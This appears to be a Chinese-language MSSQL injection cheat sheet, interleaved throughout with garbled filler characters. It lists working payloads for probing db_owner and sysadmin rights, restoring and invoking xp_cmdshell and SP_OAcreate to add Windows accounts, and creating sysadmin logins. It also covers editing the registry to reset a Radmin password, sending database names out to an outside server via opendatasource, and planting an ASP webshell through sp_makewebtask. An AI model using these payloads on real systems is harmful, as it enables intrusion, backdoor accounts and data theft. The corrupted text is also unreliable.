//看看是什么权限的
; W: y- e; R! o( N- M1 d+ G$ T, w/ _and 1=(Select IS_MEMBER('db_owner')); T: x0 E; |" @6 I' @- h, Q- {+ H
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
# g3 C5 w9 L% U) D
& i) L+ j* V8 L# s//检测是否有读取某数据库的权限' y2 L/ `0 H- A6 i: L% b2 B
and 1= (Select HAS_DBACCESS('master')): l: ~4 D% p% n: \/ K3 M
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
. c$ |7 B& b5 F, W( M0 I* z6 J B/ C% y% G0 X
6 Z% Z( c9 u2 l$ W" z7 E2 s5 _数字类型
; l" p8 J3 s. p6 T1 Z; Q2 F/ }and char(124)%2Buser%2Bchar(124)=0
( G- M! I: Q$ h3 M2 k) T' W
+ p, S( w% D3 L, K, [字符类型
( l% u/ n+ r: ]6 _: o2 p' and char(124)%2Buser%2Bchar(124)=0 and ''='
" c7 g2 k( e @ v! i: C6 h6 f# Z
4 g' [6 k* k- Y s. g/ o% I搜索类型
; d' \" A/ n5 {6 h U- C; K5 l, m' and char(124)%2Buser%2Bchar(124)=0 and '%'='
4 o+ }# O" p& M) j& F! g
7 @+ K4 P$ l u z爆用户名
# E$ E( s- x, }& _and user>0
$ @; z. F' T7 o; I4 X! v2 f' and user>0 and ''=', C3 h2 v( _' `
) {5 h* M2 S. a7 x. R! y- X检测是否为SA权限
' X8 p: B. g. L) nand 1=(select IS_SRVROLEMEMBER('sysadmin'));--2 N: ?8 h% z$ M- {4 @. a4 ~
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
+ B! G' B; v7 g$ H3 }1 J H2 Q) w) r" U6 F
检测是不是MSSQL数据库
( q7 s9 j% L( A: @and exists (select * from sysobjects);--' I Y8 N& x$ I6 \2 U
4 c/ y- c4 @: {# ^
检测是否支持多行
4 n2 S3 { V5 L8 J+ e;declare @d int;--+ j/ Q7 c }3 |* C4 y% K
# \: s a" \# y, E2 j
恢复 xp_cmdshell
1 N( ]' i, w p) q;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
* _- h+ [( e+ }, B6 x l( B4 H. M
+ I2 w2 l. j' m; G* |% h: @! [2 o
% a( H+ N( n7 K! D+ V8 Oselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')4 I; V& i2 m" y6 h0 g s% [
5 \' n0 I* U7 l9 r3 z/ b9 A//------------------------ K0 b. y2 q$ y r% O
// 执行命令
. f5 Q2 | ?4 H2 e% k2 y//-----------------------
/ W5 A4 |3 V7 M5 E( E& U# r7 _首先开启沙盘模式:
, e9 r$ J7 |+ H, M9 N# ^" \exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
" l9 M! N$ m" c7 y2 X! E( ]( B9 c) j" Q1 }) W: X0 u
然后利用jet.oledb执行系统命令
3 U- ?7 J `" B+ dselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
0 t! [0 q* L8 T8 X& N2 q9 I/ P, W- H; a' X$ u0 Y
执行命令
4 |8 \) C" ~- [4 m' s" j;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
( @" f3 W" w5 q* ]1 {* L4 P$ K' F5 o* M0 {* t
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'+ K; |9 g' S. s* w! R' N
7 m% d3 V" H" T) K判断xp_cmdshell扩展存储过程是否存在:$ o. Y2 |1 j2 `$ U0 T3 U
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')7 D7 j5 [) N2 j' A5 s4 }$ s
! t3 h- M9 @+ k& b( i! d写注册表
3 w; i0 M- a; n( ^exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 W: C" X" N, o4 g. [
. Q8 j) D/ \5 V: I
REG_SZ+ z( F- r# h- m* h- @; i" z
$ x4 I/ p! K3 p3 H读注册表
' b; W% w& u; P% T/ oexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'' T% ^3 P% B& o6 m- C4 B6 A, d; N
7 d/ f8 `" Z" F, T: C5 s
读取目录内容
* Q; U% l- M! i4 t+ |exec master..xp_dirtree 'c:\winnt\system32\',1,1
6 x- g8 X5 v: n, a8 x4 j/ o* q: P; N( g1 H" ~2 O2 H* o- \
4 C/ h* p' l3 h. d2 A
数据库备份" j6 W; @& z1 {
backup database pubs to disk = 'c:\123.bak'
3 v$ M* O$ [7 ~# o/ R- @
/ j/ H; ~: B* A5 x% n. o//爆出长度2 L6 H7 x+ f! @; v( ^- X! T/ ^/ J9 V
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
: V! H8 ^9 w$ i6 |3 ?, e) D# f) o* }4 s
1 J8 q( L7 A/ W7 h( j I
$ N' Y; L/ g1 O: s+ k! D W更改sa口令方法:用sql综合利用工具连接后,执行命令:
0 b; G3 H6 e v& S V+ rexec sp_password NULL,'新密码','sa'4 U( `+ D7 y4 {
3 S* D; r9 T/ }; S4 F* j/ `添加和删除一个SA权限的用户test:
4 o' z+ }4 h2 n% p- R. j; vexec master.dbo.sp_addlogin test,9530772
6 [. n9 K$ \) A/ Kexec master.dbo.sp_addsrvrolemember test,sysadmin
% j g; V" W! Y9 r9 V2 R8 t1 C/ ]# b' I; }& o7 x: s
删除扩展存储过过程xp_cmdshell的语句:
8 s# t0 M( j- I% A8 Zexec sp_dropextendedproc 'xp_cmdshell'9 v+ D9 e9 z( r t" X( T
- J1 |/ v' ^9 s4 f
添加扩展存储过过程
! h7 X% j' U" U+ NEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'- B+ n u: g$ U- E' B
GRANT exec On xp_proxiedadata TO public
' m8 ]6 t+ \: q' ~9 Q; H! l* _! v) h! y0 y" O7 f* z5 ^
* X/ h9 d0 W+ r6 G
停掉或激活某个服务。
1 [+ I1 R f5 t% z* N
* k8 J U1 ?) H7 ~exec master..xp_servicecontrol 'stop','schedule'! E4 z* @; @* Q9 ]) |6 }
exec master..xp_servicecontrol 'start','schedule'/ V" n9 v% x. b6 v# D
* ]! [5 n7 P/ Zdbo.xp_subdirs
( F }: P9 f0 m# f
+ \) r( K {& t只列某个目录下的子目录。
3 G# X1 Z5 `$ w2 Exp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'0 P' a6 I4 T" C) Z
! [6 j" S) p- ~dbo.xp_makecab
- c( v! {" A+ D2 w% T8 R& P8 R2 S: q
4 `9 V$ C: Z, n& V; c将目标多个档案压缩到某个目标档案之内。* g: A0 p% [3 Y4 O/ |
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
+ F; ^5 ?7 J2 R3 Y: C& ]8 ^
9 q/ x$ G3 L4 f3 C6 N, m! Z# Jdbo.xp_makecab
0 t, N: I9 d. x5 Q* S5 N'c:\test.cab','mszip',1,* J* M# B0 [4 L/ Q: `
'C:\Inetpub\wwwroot\SQLInject\login.asp',$ T: @1 R- s' M7 x
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
8 V. w& g9 z% _) h% x0 D+ z
* l2 a; o/ q2 Y& N6 Exp_terminate_process
& g% Q: j1 Q1 B6 U3 {& @- [& d" e( L8 G. x- d/ J1 P1 L" L
停掉某个执行中的程序,但赋予的参数是 Process ID。
( W e9 I/ u+ s* R6 f利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
( `. l" J( H. r y3 _) I& y5 i- b( Z- L' z
xp_terminate_process 2484) X: s& N7 T& b4 }& p8 e1 Y5 d
k' ^; N7 W% W& P
xp_unpackcab, a: M1 @0 u8 C. r4 M0 y$ i1 g
& n6 r! y/ T8 o5 C; ?, p解开压缩档。8 v- V/ {' |, y& C+ L
3 J1 N2 J" _" G3 ^* j7 Lxp_unpackcab 'c:\test.cab','c:\temp',1
) c6 [2 D0 p) H5 b6 J, ~- N+ ]3 p- c/ E, q9 E$ O% l
2 e6 U, _, p' Z% D1 Z: u$ G某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234& L% n+ W7 t: ?2 w2 A
% Y' U7 w! \: E0 q
create database lcx;
R9 k8 U6 P" b: F. Z7 \Create TABLE ku(name nvarchar(256) null);
" O9 j! i1 h7 I+ t. h. `Create TABLE biao(id int NULL,name nvarchar(256) null);
) X v' _7 F& k. C
; _6 ~$ Q2 f- g" w//得到数据库名( k. N+ Z, V# {: K# ?
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
[8 ], l) K4 i% j* R0 _' ^$ L# K
; n) I' ? l) C6 H8 _& L( o1 A2 Z# q G//在Master中创建表,看看权限怎样+ N/ \; u- D& Q I, v. r
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--; f j5 D5 o0 R
" j& Z5 Z( M7 \* E
用 sp_makewebtask直接在web目录里写入一句话马:4 n T2 E4 f! h, J& U
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--3 ^+ z/ D% T' N. @9 A% l; _5 _
8 B: o+ S4 w, e
//更新表内容
0 S+ g( p) Y$ Q* u; @Update films SET kind = 'Dramatic' Where id = 123: E' V6 X! Y4 ?& Y3 m% M
, O: ^- h& X4 N% h//删除内容6 `" a4 E- O6 S4 d
delete from table_name where Stockid = 3 |